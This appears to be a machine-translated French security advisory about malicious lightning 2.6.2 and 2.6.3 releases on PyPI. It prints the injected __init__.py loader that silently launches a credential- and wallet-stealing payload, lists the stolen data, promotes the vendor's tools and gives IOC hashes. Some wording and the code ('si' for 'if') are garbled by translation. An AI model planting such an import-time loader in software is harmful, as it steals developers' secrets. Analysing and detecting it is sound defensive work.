La campagne « Mini Shai-Hulud » concernant la chaîne d'approvisionnement s'est étendue à PyPI. Versions 2.6.2 et 2.6.3 parmi les plus populaires éclair Un module Python, largement utilisé pour l'entraînement de modèles PyTorch, contient du code malveillant qui exfiltre discrètement les identifiants des développeurs, cloud et les portefeuilles de cryptomonnaie.
Cela fait suite à deux attaques récentes menées dans le cadre de la même campagne : la compromission de Bitwarden CLI sur npm et celle de SAP sur npm. Il s'agit du même pirate et du même ver, qui passe désormais de npm à PyPI.
Si vous utilisez lightning==2.6.2 ou lightning==2.6.3, considérez votre ordinateur comme infecté.
Fonctionnement
L'attaque est injectée directement dans __init__.py, le fichier qui s'exécute dès que vous importez le package. Un thread d'arrière-plan est lancé avant le chargement de tout code Lightning valide :
def _run_runtime() -> None:
_runtime_dir = os.path.join(os.path.dirname(__file__), "_runtime")
_start = os.path.join(_runtime_dir, "start.py")
si os.path.exists(_start):
subprocess.Popen(
[sys.executable, _start],
cwd=_runtime_dir,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
)
threading.Thread(target=_run_runtime, daemon=True).start()Il s'exécute start.py, un programme d'initialisation multiplateforme pour Bun qui détecte votre système d'exploitation et votre architecture, télécharge le moteur d'exécution JavaScript de Bun v1.3.13 et l'exécute router_runtime.js, la charge utile principale de 11 Mo. Le même schéma que celui utilisé lors des récentes attaques contre Bitwarden et SAP.
Ce qu'il vole
Clés SSH, historiques de shell (bash, zsh, Python, Node, MySQL, psql), .env fichiers, identifiants Git, identifiants AWS/GCP/Azure, configurations Kubernetes et Helm, identifiants Docker, jetons npm et configurations MCP. Portefeuilles de cryptomonnaies, notamment Bitcoin, Litecoin, Monero, Dogecoin, Dash, Exodus, Atomic et Ledger. Identifiants VPN pour NordVPN, ProtonVPN, CyberGhost, Windscribe et OpenVPN. Données de session Discord et Slack.
Toutes les données volées sont chiffrées à l'aide d'un algorithme RSA avant d'être transférées vers des dépôts GitHub publics :

Comment Aikido cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large de toute votre équipe, l'Endpoint Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les logiciels malveillants avant qu'ils ne soient installés.
Pour vous protéger à l'avenir, pensez à Aikido Chain (open source). Safe Chain s'intègre à votre flux de travail actuel : il intercepte les commandes npm, npx, yarn, pnpm et pnpx et vérifie la conformité des paquets par rapport Aikido avant leur installation.
IOCs
- Package :
lightning==2.6.2,lightning==2.6.3 - router_runtime.js
- SHA256:
5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1
- SHA256:
- start.py
- SHA256:
8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2
- SHA256:

